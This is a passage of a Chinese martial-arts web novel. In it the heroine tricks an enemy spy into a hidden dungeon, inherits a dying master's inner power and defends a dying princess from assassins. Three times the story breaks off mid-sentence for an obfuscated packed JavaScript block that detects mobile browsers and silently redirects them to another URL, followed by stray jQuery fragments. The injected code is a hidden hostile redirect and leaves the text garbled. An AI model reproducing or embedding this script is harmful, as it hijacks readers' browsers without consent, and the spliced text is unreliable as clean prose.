戚江雪的思维也开始混乱了,似乎有人在她脑中说话争吵,无休无止。她越发焦躁起来,有些乱了章法。一个不留神,她被尸人包围了起来,无路可退。眼前尸人青黑色的指甲就要抓向她的眼睛。
戚江雪闭起了眼睛,下一秒,大地剧烈地震颤了一下。尸人纷纷倒地,戚江雪凭借本能一个翻滚,与尸人拉开距离。
发生了什么?戚江雪剧烈喘息着,迅速看了看四周。血流漂杵,黑云压顶。又是一下大震颤,地面瞬间倾斜成坡,戚江雪根本来不及反应,整个人摔倒在地,向后滚了下去。她连忙用力将锏戳向地面,勉强稳住了身形。
有些尸人爬了起来,脚下突然裂开一道巨大的缝隙,转瞬就将他们吞噬,地面又恢复了原状。
地震?戚江雪听到从西北方的山上传来阵阵的闷响,声音似乎在向着此处靠近。她起身远眺,天际线已经变成了黑红色,耳边有极细微的“嗡嗡”声。戚江雪心头狂跳,转头发力狂奔起来。有些尸人追在她的身后,还有些摔倒后在原地跌跌撞撞地转着。
欢喜林已经化为一片火海。炽烈的红浆奔涌而来,如海上数十米高的巨浪般兜头砸下,林子外围的尸人眨眼间便碳化成灰。
戚江雪脸颊被空气的温度灼烧得发烫,她没有回头,也不敢回头,只能尽最大全力向前奔去。地火突然爆发了,是因为他们进了矿道触发了什么机关吗?如果是不可控的,那整个清晏山庄都不能幸免。虽然,现在这里也没有多少活人了。
戚江雪一路往东南方狂奔,经过中间的温泉园时,有些尸人掉进池中转瞬就被烫死。好在只有这一波,地火爆发过后就停息了。戚江雪此时已穿过了消业池,尸人几乎在药人堂那里就已经全军覆没了。她回头望去,浓浓的黑烟直冲云霄,欢喜林烧起来,这火就很难再停了。
这一番惊险将戚江雪之前的杀戮欲压了下去,她此时总算能正常思考。她目的明确,来到了尚善别院的书房。邱老说他把幽人馆交给了于诘处理,那么就只剩这里了。
戚江雪推开房门,第一眼就看到被绑在书桌后浑身伤痕的于诘。她看向房间另一角,发现了倒在角落的秦修意和宋思蔻。
戚江雪感觉热泪冲上眼眶。她连忙过去查看,发现二人只是晕了过去,才稍微松了口气。她将堵住她们嘴巴的布条取出,然后解开秦修意手脚的束缚。
正在动作着,心头突然一动。危险靠近,直觉做出了反应。
戚江雪反手将刺向她背后的刀打了出去,迅速起身将秦修意挡在身后。看着这个突然进来攻击她的男子,她想起了这人是谁。
长发依然蓬乱打结,一双眼精光慑人。第一次在山庄醒来时,她便遇到了这人,他说自己是异族奸细,原以为是疯言疯语,现在看来并非如此。难怪之前在尚善别院没有看到他的尸体,这人居然也是深藏不露。
“你要干什么?”戚江雪冷冷问道、
男子盯着她,突然咧嘴笑起来,露出一口黄牙。“居然是你。第一次见你时就觉得不一般,没想到你还真的能活到现在。”
“这话也是我想对你说的。看来你不是个疯子,那就说说你有什么目的?”戚江雪语气生硬。
男子依然怪笑着:“与你无关。”
戚江雪没有说话,将锏在地上一敲。男子看了她一眼道:“我是来找这位于管事的,你不会要救他吧。”
戚江雪看了一眼于诘:“我要找的不是他。”
“那我们井水不犯河水。那两人是于诘抓的,你可以把她们带走。”男子将刀收起,做了个“请”的动作。
于诘突然剧烈挣扎起来,口齿不清地喊道:“不能,不能走。给她们下了毒!……郑韬,是丘桓的奸细。他要找公冶,公冶……”
郑韬骤然收起笑容,上前将于诘一脚踢翻,于诘没了声音,不知是死是活。
戚江雪回头看了看陷入昏迷的秦修意,脸色凝重。
“你对她们下毒了?”
郑韬又勾起嘴角:“哎,你们这些绥人就是麻烦,喜欢斤斤计较,我不是没有杀她们吗?她们不小心听到了我的秘密,总得付出代价吧。我不喜欢见血,所以施了点小手段。”
不喜欢见血,于诘能被打成那样?这人多少有些变态在身上,不知他下了什么毒。如果直接杀了他,关姨能不能配出解药?
郑韬看着戚江雪变幻的脸色,猜到了她的想法。
“这毒一时半会死不了人,可只有我才能给出解药。如果我们撕破脸,那她们就彻底没救了。”
戚江雪嘲讽道:“你很怕我杀了你吧。”
郑韬点了点头:“不错,我绝不是你的对手。但你现在也绝不敢杀我。”
戚江雪怒道“怎样才肯将解药交出来?”
郑韬笑着说:“这我得好好想一想,反正现在我不急。”
戚江雪深吸一口气,将怒意压下。
“你所谓的秘密,就是你是丘桓国的奸细吧。第一次见面,你说我是异族奸细,没想到是贼喊捉贼。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065059|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“当时我把你错认成了另一个人,现在想想我说的也没错。”郑韬饶有兴味地打量着戚江雪,“实在是像。你是她的女儿吧。她本来就是丘桓派出的奸细,谁想最后竟然背叛了我们。你要不要考虑,代母赎罪啊。”
戚江雪被气笑了:“荒唐!你以为你能活着回丘桓?”
郑韬的声音充满恶意:“我是死是活不要紧,但背叛者一定不得好死。你娘就是最好的证明。”
戚江雪紧紧握住锏,手上青筋暴起。“看来,我们之间的仇又多了一桩。”
郑韬嗤笑:“虱子多了不痒。你且慢慢记着仇。”他说完后,便不再理会戚江雪,在书房里到处查看起来。
戚江雪看着郑韬敲着墙壁,心里有猜测。于诘提到了公冶瞻,这恐怕才是郑韬逼问于诘的关键。于诘知道公冶瞻已经死了,可是咬死不肯告诉郑韬,因为只要一说他就再无价值必死无疑。
郑韬之所以想找公冶瞻,总不会是想让他帮忙造出大杀器,只怕也是为了赤渊矿。丘桓与大绥敌对已久,安插间谍再正常不过,就算保密的再好,也难保矿脉的秘密不被泄露出去。
长公主让她找的卢愈也被关在地牢中,大概率就是上次在公冶瞻旁边的牢里见到的那人。公冶瞻已经死了,但卢愈还不知是死是活。郑韬很可能根本不认得公冶瞻,她或许可以利用这一点。
戚江雪敲了敲桌子,缓缓开口道:“你是在找地牢的入口吧。”
郑韬怔了怔,随后无所谓地笑了笑。“不错,我已经探查到入口就在这书房内。这个废物死活不肯说,那也没关系,就这点地方我总能找得到。”
戚江雪也笑了起来:“清晏山庄可是专门关人的地方,若地道那么好找不是早就漏成筛子了。我倒是可以帮你。”
郑韬的脸色阴沉下来。“难道你就能找到?”
戚江雪道:“我不但能打开入口,还能带你找到公冶瞻。你找来找去,不就是为了他吗?我早就见过公冶瞻了。”
郑韬腮帮鼓起了一块,看着戚江雪没有说话。
戚江雪继续说:“你不信我没关系,打开地道下去看看不就知道了。不过想让我带你找人,先把解药拿出来。”
郑韬哈哈大笑起来:“你就是想要解药吧。说这么多,当真以为我好骗?”
戚江雪不再废话,径直走向博古架,将上面的红釉瓷瓶挪开。随着瓷瓶移动,地上传来响声,书桌后的地砖打开了。
于诘看来还活着,他拼命挪动着想要到地砖入口处,被郑韬一把提起扔向了旁边。郑韬看到入口,眼中闪过狂喜之色,就要下去。戚江雪横锏将他拦住。
戚江雪一边踩着入口处,一边冷声道:“我说了我能找到,但你以为我会就这么让你下去吗?”
郑韬喉头狠狠一动,他看着戚江雪说:“我要是现在给你解药,你立马就能对我动手,我又如何保证自己的安全。”
戚江雪问:“你下的是什么毒?既然不会立刻致死,那应当也可以分次给解药吧。现在先交出一半解药喂她们服下。”
郑韬有些犹豫,戚江雪也不催促,只冷冰冰地看着他。
片刻后,郑韬咬了咬牙。“这毒产自西域,我从小服用,我的血就是解药,但需要我催动特殊的内力。我若死了,血会失效,她们也必死无疑。”
戚江雪皱起了眉头。郑韬会不会是在诈她,血真的可以做解药吗?郑韬看着她的神情,运功一番。随后用刀将手臂花开,伤口流出的血竟然是青色的。
24. 贫身长向酬君死
戚江雪找了个小些的瓷瓶将郑韬的血接住。
郑韬挤出一点后就想收手,戚江雪一把按住他的胳膊,用力捏着道:“多挤一些。”
郑韬差点破口大骂,克制了半天才勉强忍住。一直等到郑韬开始流出红色的血,戚江雪才松开他的胳膊。
戚江雪走到角落,先将瓶中的血喂了一点给宋思蔻。待她喝下去后观察片刻,见宋思蔻呼吸如常,脸上甚至微微有了血色后,才将剩下的解药喂给秦修意。戚江雪依然没有解开捆绑宋思蔻的绳索,又看了一眼另一边不省人事的于诘,方才起身走向郑韬。
郑韬默默看着戚江雪的一系列动作,此时咧嘴一笑。“她是你什么人?看上去对你很重要啊。”
戚江雪冷冷瞥了他一眼,道:“与你无关。但她要是出什么事,你必死无疑。”
郑韬哼笑一声,不再说话。
两人先后顺着绳梯爬了下去,郑韬落地后点燃火折子,照了照四周。
“你是如何发现这密道的?”郑韬边看边问。
戚江雪不予理会,只径直往前走。郑韬看她不打算开口,也就不再自讨没趣,跟在了她的后面。
公冶瞻死了,但是之前那人应该还在原来的地方吧。这人能被关进地牢,自然不是简单角色,长公主说他会成为助力,那他的武功应该也还在。既然如此怎会被安心关在这里呢?
戚江雪边想边走,来到了石墙面前。山羊头骨依然高高在上,两颗眼珠在黑暗的密道中泛着幽幽红光。郑韬乍见到这山羊头有些惊疑,仔细看了看才感慨道:“清晏山庄怕是造孽太多,才要用这些邪性的东西镇着。还以为只有景国才会拜这种怪东西。”
他上前将羊头仔仔细细摸了一遍,毫无反应,又用内力震了震石墙,墙壁纹丝不动。郑韬一脸阴沉地看着戚江雪。戚江雪上前一把夺过郑韬手里的火折子,开始对照光线。按照之前的操作,石壁缓缓裂开了缝隙。
戚江雪率先走了进去,牢房还是和上次她来时一样。戚江雪直奔前方而去,郑韬在后面疑惑道:“怎么都是空的?”
第八间牢房之前关着公冶瞻,此时也空了。戚江雪的心快速跳了起来,那人还在吗?
来到位于角落的最后一间牢房,里面的人半靠在墙边,长发披散,连姿势基本都和上次一模一样。
戚江雪松了一口气。
郑韬看见里面的人后明显兴奋起来,他低声问:“那就是公冶瞻?他还活着吗?”
戚江雪一脸淡定道:“不知道,上次来时我见到他跟人说话。现在我也不确定。”
郑韬从身上摸出一把像钢锥一样的东西,开始摆弄起门口巨大的铁锁。
戚江雪则紧紧盯着那人。上次没有细看,现在凭她的眼力很快就发现此人露在外侧的手筋脉在微微起伏。应是一直在内息状态,此非顶尖高手而不能为。
清晏山庄处理所有人,却唯独没有动他,是忘记了,觉得无关紧要,还是不敢?应该是后者吧。戚江雪有一种直觉,此人就像是蛰伏的凶兽,等待着将尖利爪牙刺入敌人身体的时机。但她决定冒险。
“哐当——”郑韬将门锁打开了。
“我一直很好奇,公冶瞻的机关术天下闻名,他被关在这里就真的无计可施吗?”戚江雪在此时开口道。
郑韬听了她的话,脚步顿了一下。戚江雪越过他走了进去,她蹲到那人面前,轻轻唤了一声:“前辈?”那人胳膊动了动,强烈的危机感突然涌上戚江雪心头,她连忙将手放在那人后背,飞速写下了“长公主”三个字。因为身体遮挡,戚江雪的动作又很轻,在郑韬看来就好像她只是轻轻拍了拍对方。
卢愈没有没有再动,他睁开眼,深深看了一眼戚江雪。戚江雪点了点头,嘴上说道:“公冶前辈,您醒了啊。”
郑韬连忙来到公冶瞻面前,将他上上下下打量了一遍,确认他身上不可能带有任何东西后,才开口问:“公冶瞻大师?”
卢愈缓缓开口,声音低沉沙哑:“你是何人?”
郑韬确实不认识公冶瞻,戚江雪此时已经起身退后,站在了牢房门边。
郑韬对卢愈行了一礼,恭敬道:“在下乃丘桓大营造,奉王命来向大师请教。”
卢愈不屑道:“丘桓的蛮子们如今也跑到我大绥来放肆了。”
郑韬的脸色变了几变,终究没有发作,缓声道:“论机关制造和冶炼之术我们自然比不得,所以才千里迢迢来学习。毕竟当世能将赤渊矿成功提炼的也就只有您一人。”
卢愈冷冷开口:“什么赤渊矿?我不知道。赶紧滚!”
郑韬终于再也忍不住,站起身怒道:“公冶瞻!你如今已是废人。若识抬举,我丘桓举国都敬你,你有什么条件都可以开。若是敬酒不吃吃罚酒,那我也有的是手段对付你。就算把你的尸体带回丘桓,我也不算辱命。”
卢愈也笑了起来。“好好好,我若是贪生怕死之徒,还真就被你这一番话唬住了。我一个绥人,若真如了你的愿,岂不是要背负一世骂名。”
郑韬不怀好意道:“现在绥帝都已被景国人掳走,连国都亡了,还谈什么虚名。识时务者为俊杰,亡国奴最是可怜,来我丘桓安度晚年不好吗?更何况你们的朝廷本就昏聩,竟然将你这样当世难得的高人囚禁至此,这难道不令人痛心吗?你内心就没有任何失望吗?这样的国有什么值得效忠的。”
卢愈沉默不语,不知在想些什么。郑韬觉得自己似乎已经说动了他,又继续加了一把火。
“大师,我也同你一样一心沉醉于玲珑技艺。我们这样的人本就是纯粹的,不应该被世俗所裹挟。所谓国家之分,门派之别,都只会给我们的技艺带来壁垒。我在清晏山庄蛰伏了一年之久,为的就是这一天。”
卢愈似笑非笑地看了郑韬一眼。“倒是难为你了。好吧,就算不告诉你,我也只能把这秘密带入坟墓了。你过来。”
郑韬一脸欣喜地靠近。卢愈看了一眼站在后面的戚江雪问:“这女子可跟你是一起的?”
郑韬摇头:“不,她只是带我来见您。”
卢愈道:“那就让她走开。这秘密岂能让不相关的人知道!”
郑韬对戚江雪说:“你现在守在这里也无用,等上去我自会给你剩下的解药。”
戚江雪没有说话,沉默着走了出去。卢愈要做什么,他能对郑韬说出什么秘密呢?
“啊——”一声惨叫响起,戚江雪连忙回到牢房。只见卢愈的手像是磁铁一样吸在了郑韬的后背上,让他整个人无法逃离。
郑韬面色发紫,双目暴突,全身的皮肉鼓起一个接一个的肿包,似乎里面有东西马上就要冲破身体。
戚江雪惊了一下,马上喊道:“卢前辈,请暂饶他一命,我还需要他的解药。”
卢愈收回了内力,郑韬立马趴在地上。
戚江雪看到郑韬七窍流出的都是青色的血,连忙用之前偷偷带来的小瓶将血接满。她本来就不打算让郑韬活着出去,所以之前便准备想办法从他身上得到解药。
“此人血液特殊,已经活不成了。”卢愈淡然开口。
戚江雪小心问道:“您能看出这是什么毒吗?”
“听说西域有一种毒,以
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15066206|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
血为引,红色为毒,青色为解,药毒同源,大概就是这个了。”卢愈看着戚江雪,慢悠悠道:“你是在利用我?”
戚江雪连忙摇头道:“不,我是真的受长公主所托来找您,她身边的冯都知说您被关在地牢里。只是,中途遇上了意外,只能将郑韬骗下来。”
“哼,他说的可是真的?大绥亡了?长公主殿下现今在何处?”卢愈问道。
戚江雪点了点头,“景国几乎打下了我们的半壁江山,掳走了先帝。不过朝廷南迁了,安王如今即位,要除掉长公主。长公主之前在无争别院,不知现在情况如何。”
卢愈听完后长叹一口气。“恐怕要让殿下失望了。我之前走火入魔,已无法运功,所以才会被困在此处。”
戚江雪才注意到卢愈的手已经变得乌黑,不由惊道:“前辈,怎会如此?”
“刚刚没忍住脾气,对此人动手,被反噬了。原本我已不在意生死,谁想殿下竟还记得我。”卢愈语气悲伤,不由想起过去之事。
他自幼家破人亡,只因卢家拥有江湖上人人觊觎的秘籍《混元诀》。若是光明正大比拼,那些人自然不是卢家的对手,可是阴谋诡计却防不胜防。卢父轻信了小人,终招致了灭门之灾,卢家只有他一个人带着《混元诀》活了下来。
为了躲避追杀,他就像阴沟里的老鼠,不见天日,苟延残喘,被仇恨侵蚀得面目全非。当他终于倒在地上,以为自己活不下去的时候,那只从马车里伸出的手拯救了他。长公主让他从鬼变成了人。他一直记得她对自己说过的话。
“我救你,并不是因为善良,而是因为私心。我需要你的忠诚,也需要你的力量。”
只要能被长公主需要,他自然赴汤蹈火万死不辞。他练成了混元诀,江湖上几乎不再有他的对手。他找到过去的仇家,将他们一个个扒皮挖骨,碎尸万段。一时间,人人自危,他的“魔头”之名也传了出去。
长公主的门客中有不少武林高手,但他们都与他划开界限。他曾担心长公主会因此厌弃自己,没想到长公主一笑置之。
“仇恨积在心里,是会让人腐烂的。你为自己和家人讨回公道何错之有?手段并不重要,结果才重要。”
是啊,长公主真的懂他。报了仇,他更是心无旁骛,只效忠那一人。可是那些所谓的名门正派竟然共同来讨伐他。笑话,打着“正义”的名号就指望他束手就擒吗?
那一战至今都让无数武林中人胆寒,各门派死伤无数,元气大伤。但他也付出了代价,强行用混元诀提升体质让他走火入魔。他们将他关进了清晏山庄最底层的地牢,却连看都不敢多看他一眼。
如今,长公主需要他,可他却无法再为她效力了。
卢愈睁开眼,看着戚江雪,或许,还有最后的机会。
“你为何要帮殿下?”
戚江雪道:“没有为什么,只是想遵从自己内心的意愿。”
卢愈笑了起来,“你的资质绝世罕见,此时来我身边,说明混元诀注定要流传下去。哈哈哈哈……”
话音未落,卢愈突然将双掌按到了戚江雪的背上。戚江雪顿时无法动弹,只觉源源不断的内力被输入了体内。浑身发热,烧得她双眼通红,几乎不能视物。
良久,卢愈耗尽了内力,他倒在地上,全身肌肤都变得乌黑。
戚江雪犹控制不住颤抖着:“前辈……”
卢愈用力抓住戚江雪:“若换了其他人,早就无法承受这内力,你,果然是天意。有了混元诀,你去保护殿下,就当是,我,对她的报答。”
话音落下,气绝身亡。
25. 棠梨花映白杨树
戚江雪眼前一阵阵发暗。清罡诀纯正威猛,混元诀驳杂霸道,两股力量在体内纠缠、碰撞、对抗,却始终无法分出胜负。
卢愈将毕生的功力传给自己,是因为不想混元诀失传,还是因为想让她更好地帮长公主,这已经不重要了。现在她只觉得从身到心都背负着沉甸甸的重量,一时无法排解。如果她不能消化混元诀,那她最后也有可能像卢愈一样,走火入魔。
回到书房时,戚江雪的肌肉依然有些痉挛。她强压下不适,快步走到秦修意面前,将解药喂给她。秦修意眼皮动了动,缓缓睁开眼。
“江雪,你还好吗?”看到徒弟就在自己面前,秦修意既欣慰又担忧。她的声音十分虚弱,但依然掩不住语气中浓浓的关切。
戚江雪压下眼底的热意,点了点头:“对不起师父,我来晚了。你现在还有哪里不舒服吗?”
秦修意安抚地捏了捏戚江雪的手,缓了一会才道:“我无大碍,只是脑袋昏沉,没什么力气。幽人馆只怕再没有活口了。于诘因为觊觎清罡诀,将我单独抓到这,没想到最后被人暗算。你千万要小心。”
戚江雪道:“师父放心,那人已经被解决了。宋思蔻为什么也在这里?”
秦修意皱眉,嫌恶道:“于诘似要对她行不轨之事,幸好未成。”
“师父稍等。”
戚江雪说完来到于诘身边,倒在地上的于诘此时已经奄奄一息。戚江雪看着他的样子冷笑了一声。
“真是太便宜你了。”
说完,她双手掰住于诘的头用力一转,拧断了他的脖子。
宋思蔻依然在昏迷中。戚江雪为她松了绑,将剩下的解药喂给她。宋思蔻身上始终有疑点,但她们之后应该不会再有交集。至于醒来之后会怎样,就看她自己的造化了。
戚江雪背起秦修意,向外走去。
出了尚善别院没多远,地上就新躺了一些尸体。上前一看,这些尸体都穿着兵服,周围长刀散落。
“是景国的军队。”秦修意趴在戚江雪的背上有气无力道。
虽然知道整个惠州已被景国攻占,但没想到景军这么快就出现在山庄里。之前山庄外还有皇家禁卫看守,这些禁卫军是已经撤离了还是被景军打败?他们来这里的主要目的应该还是赤渊矿吧,既然丘桓能得到情报,景国自然也不会一无所知。
这些景军尸体身上有的是鞭伤,有的是剑伤,看来是中途与无痴和无疚对上了。也不知她们二人现在怎样,能否摆脱景军?长公主她们又如何了?
心绪不稳,体内的真气也越发难以控制。戚江雪不由加快了去往山上的脚步。
山洞后的小道应当没有外人知晓,去往无争别院和去温泉山洞是两条路。戚江雪一路来到温泉山洞,没有碰到任何人,这让她心中愈发不安。
那条黑斑蟒蛇也不见了踪影。戚江雪直入洞中,看到了等在池边的楼煊和关苒苒。
“关姨,快看看我师父。”戚江雪将背上又昏迷的秦修意放下,关苒苒连忙上前将她扶住。
“你们没有遇上影卫吧?你进了矿道吗?地火是怎么回事?长公主她们呢?”戚江雪看着楼煊一口气问道。
楼煊先是仔细看了看她,见她似乎没有大碍才开口道:“你才走,影卫便来了。本想带殿下一起往这边逃,但她不愿将矿道入口暴露,冯前辈又无法护我们所有人周全,我和关前辈便悄悄逃到这里。不知她们现在怎样了,希望我设置的机关能多撑一会。我先进矿道看过,虽然机关能解,但十分麻烦,稍有不慎就会触发地火。之前就是例子,我如今也不敢说自己有完全的把握。”
戚江雪吸了口气,只觉胸口愈发难受。关苒苒已经看完了秦修意,此时上前抓住她的手腕。
“修意身上的毒差不多解了,只是连番伤害导致身体更加虚弱。你又是怎么回事,体内真气格外乱,你现在不能再用功了。”关苒苒急切道。
楼煊听闻此话,脸色也是一变。
戚江雪无意识地扯了扯嘴角:“没事。半个清晏山庄都被地火给毁了,看来矿道就算能走也十分危险。楼公子,关姨,我师父就麻烦你们了。若能解决影卫,那我们就从正门走,若我没有回来,你们就借着矿道躲避,之后想办法离开。”
楼煊漆黑的眼中似有浪潮翻涌,语气沉沉:“我这次是为你而来,可现在却得知你可能会永远留在这里。你真的知道自己在做什么吗?”
关苒苒犹豫了一下,看着戚江雪,似是不知如何开口。
愧疚吗?有一些,但不多。因为她知道自己会如何做,也知道自己为何要这样做。
戚江雪看着楼煊,感到了难言的悲伤。他很好,这个“好”对她来说或许早已不止是对一个好人的定义。无法诉诸于口,不知以何为报。有些星火只在遍生潮湿的原野上闪烁了片刻,不待细究便熄灭了。
“我要去找长公主。或许改变不了什么,但如果不去,我一定会后悔。因此付出的所有代价,我都选择接受。”
戚江雪对着关苒苒笑了笑,又看向楼煊。“让你受累了,真的很抱歉。”
楼煊垂下眼睫,看不出情绪。
“不必道歉,我也说过,这是我的选择。”他深吸了一口气,“我们会等你的。”
戚江雪压下窜至心头的真气,转身向山洞外奔去。
梨花飘零在无争别院的每个角落,如寒冬落雪。
十个黑衣影卫,三死两伤。所有人都被冯祁悍不畏死地拦在厢房门外,难以再进一步。看到从院外奔来的戚江雪,浑身被染红的冯祁似是再也承受不住,一口血喷出,跪坐在地上。
戚江雪看出冯祁已是强弩之末,一个飞身来到他面前,颤抖道:“冯前辈,我来帮你了。”
冯祁苦笑着摇了摇头,却说不出话来。
眼见又来一人,影卫二话不说便动手了。戚江雪持锏迎上,将众人逼离厢房附近。
影卫个个武功一流,冯祁虽是顶尖高手,却寡不敌众。戚江雪以一敌众,自是十分吃力。她一边防止众人再去袭击冯祁,一边着重对付两个受伤的影卫。
在连杀四人后,戚江雪整个人也已经浑身浴血。连中十二处剑伤,但她就像被屏蔽了痛觉一样,越杀越勇。
真气冲向大脑,戚江雪只觉有人在她的脑海中放了一把大火。她无法思考,只被怒气与杀意控制着,挥动双手。
劈砸砍刺,不会停,也不想停。风声带着呼啸,在她耳边喊着:“就这样,杀下去吧。”
又一个影卫倒下,“铿—铿——”,两把锏应声而断,掉落的一半砸在地上,溅起大片花瓣。
戚江雪的双手因惯性下垂,左右肩头猛然各中一剑。她狠狠抬手,甩出左手的锏,左边的影卫连人带剑飞了出去。她向后退去,左肩被整个划开了,右肩则留下一个贯穿的血洞。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098895|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此时只剩下了飞出去的那个和刺中戚江雪右肩的影卫。两人见状孤注一掷迅速向厢房攻去。就在剑要刺向冯祁心口时,时间似乎被暂停了,又或是被无限拉长。“杀手锏”三个字如夜空闪电般再次出现在戚江雪的脑海。
【绝技“杀手锏”当前可用。】
电光火石间,戚江雪将仅剩的一把锏甩向其中一个影卫,在他被砸倒的同时自己就像被传送一样瞬移到了冯祁前面。就在另一人的剑即将刺入胸口的瞬间,戚江雪的手划出了一道赤色弧光。
一簪封喉。这次是真的成功了。
随着最后一个影卫的倒下,风又带着时间流动了起来。戚江雪缓缓抬手,用赤玉簪将散落的头发挽好。这支簪子是原身唯一剩下的东西,仿佛已成她身体的一部分,平时与自己融为一体,每到关键时刻便会发挥至关重要的作用。
伤口开始剧痛,真气在每根血管里跳动。戚江雪看了看自己的双手,已经变成了紫红色。她点穴止血,拿起地上的剑,开始给影卫一个个补刀,原本还剩下一口气的,现在彻底死了。
时不时有鲜血洒落在一地花瓣上,煞白与艳红都变得格外分明。戚江雪回过头,才发现高敏不知何时从屋里爬了出来,紧紧抱着冯祁。
“冯叔……你受苦了。”高敏喃喃道。
冯祁的手微微动了动,却无法抬起。“殿下,老奴怎配的上您如此称呼。”
“不,不,不许这么说!”高敏激动了起来,“你曾一路伴着父皇,原本可以颐养天年。可你又选择来到我身边,随我经历了那么多风雨。若只是为了父皇嘱托,怎么可能做到这种地步。我知道,你把我当女儿,你在我心里也是最亲近的长辈。”
冯祁无力地弯了弯唇角,“是我僭越了。我乃残缺之人,这一生都没有子女缘分,能在殿下身上找到寄托是我的幸运。只是我终究没有保护好您啊……”
冯祁双眼逐渐模糊,过往的一幕幕如走马灯般在眼前闪过,最后停在了多年以前的承华宫。
那个穿着华丽宫装的小女孩一脸倔强地看着他道:“你是从翰林院过来的?我不要你保护,你要像辅佐父皇那样,向我称臣。”
她那样骄傲,又那样孤独。在深宫中昂首走过许多年,兄弟背弃,驸马早逝,无儿无女,朝臣离散。最后陪在她身边的只有他。可是,如今也到此为止了。
“够了……足够了。”高敏颤抖着阖上冯祁的双眼,一滴泪滑过脸颊。
良久,她对站在不远处的戚江雪唤了一声:“丫头,你过来。”
戚江雪走上前,看着高敏此时格外红润的脸色,知道她已是到了回光返照的阶段。
“殿下,我,无能为力。”戚江雪的心依然麻木着。短短不到一天,她经历了太多死亡,许多还是她亲手造成的,可是那些该有的情绪并没有出现。她的精神似乎被蒙上了一层布,那上面只有还在不断跳动着的戾气。
高敏看着她的样子,苦笑道:“你这孩子也是实心眼儿,为什么还要回来呢?”
戚江雪有些支撑不住身体了,她慢慢坐到高敏面前。
“我答应过的。而且,我在此所为,也有卢愈前辈一份,那是他誓死效忠您的心和遗愿。”
戚江雪将之前遇到卢愈的情形告诉了高敏,高敏沉默许久。
“他被武林围攻时,我被朝堂攻讦,原来也是注定。这一生是很苦的。如此,便解脱了。”
26. 尽是死生别离处
“殿下也觉得苦吗?”戚江雪轻声问。
高敏看着庭外的落花:“众生皆苦,只是所求不同。如你所说,我确实无悔,但遗憾总是有的。”
看着几片花瓣缓缓坠地,她又开口道:“我时间不多,有两件事想要拜托你。”
戚江雪骤然回神。她很累,却尽力让自己打起精神。
“殿下,我能力有限,未必能完成您的嘱托。若您还有信任之人,我可以代为转达。”
高敏收回目光,静静看着戚江雪。她的印堂已经泛起了青黑之气,神情也萎靡下来。
“我既选择告诉你,自然信任你。当初事发突然,这一年来我的人只知高远将我秘密幽禁,却不知我被关在何处,到底是死是活。如今形势大变,对他们来说继续蛰伏才是上策。我那弟弟啊,最适合一辈子做个富贵闲人,可偏偏生在帝王家,还成了亡国之君。”
戚江雪斟酌道:“毕竟安王还在,如今也已即位了。”
高敏冷笑:“偏安一隅,苟延残喘罢了。高鉴又能好到哪里去?让他收复山河都是奢望。高远若有骨气,就该死在帝京城破那天,可他没有。他能想到给我下毒,怎么就不知道给自己留个痛快呢?他让我大绥成为历朝历代未见的耻辱!何止是他,如今连我也无颜面对列祖列宗。”
戚江雪不由安慰:“有些事并非一人之力所能改变,您不必自责。”
高敏咳嗽两声,脸上闪过一丝狠厉。“他还不如一开始就杀了我,也好过今天我还要承受丧国之痛!当断不断,后患无穷。你自己去也好,让别人去也好,杀了高远。我大绥不该有被俘之君。他死了,尸骨或许还能重回故国。江雪,这是我拜托你的第一件事。”
戚江雪整个人呆住。高敏的神色很认真,但她怎能让自己去做这种事呢?戚江雪倒并不在意什么尊卑贵贱以下犯上,甚至她也觉得高远活着还不如死了。但她要真按照高敏说的去做,以这个时代的眼光来看那就真是大逆不道,难容于世了。
高敏嘲讽一笑:“这种事要做也是私下做,当然不能让你暴露。人的死法可以有很多,他太懦弱,不敢死。他还指望着臣民把他救回来,可是他忘了他给自己的子民带来了多大的灾难。毕竟是我的亲兄弟,我也犹豫过要不要救他,但他就算回来也不会有活路的。他死了,高鉴才坐得安稳,大绥才能上下一心,报仇雪耻收复旧地。”
高敏看着戚江雪的神情,叹了口气道:“罢了,这件事我不逼你。不过第二件事,希望你能答应我。为此我把我的所有,都给你。大绥以后会怎样是无法预料的,但至少我们还有选择和改变的机会。”
戚江雪看着高敏,明白这件事可能才是真的重中之重。
“我需要你去找个人……”
高敏说完,从怀中取出了一块中间镶着振翅金凤的翡翠玉牌,放到戚江雪手中。戚江雪不由自主摩挲着,玉牌背面刻着篆体的“靖和”二字。
“这是父皇在时便专为我定制的凤印。曾经有段时日,它的作用堪比玉玺。我虽然败了,从前的势力却并没有被完全清除。如今我把它交给你,它所代表的一切都属于你。你把它当作报酬也好,馈赠也罢,怎么用,能用到什么地步,全看你自己。”
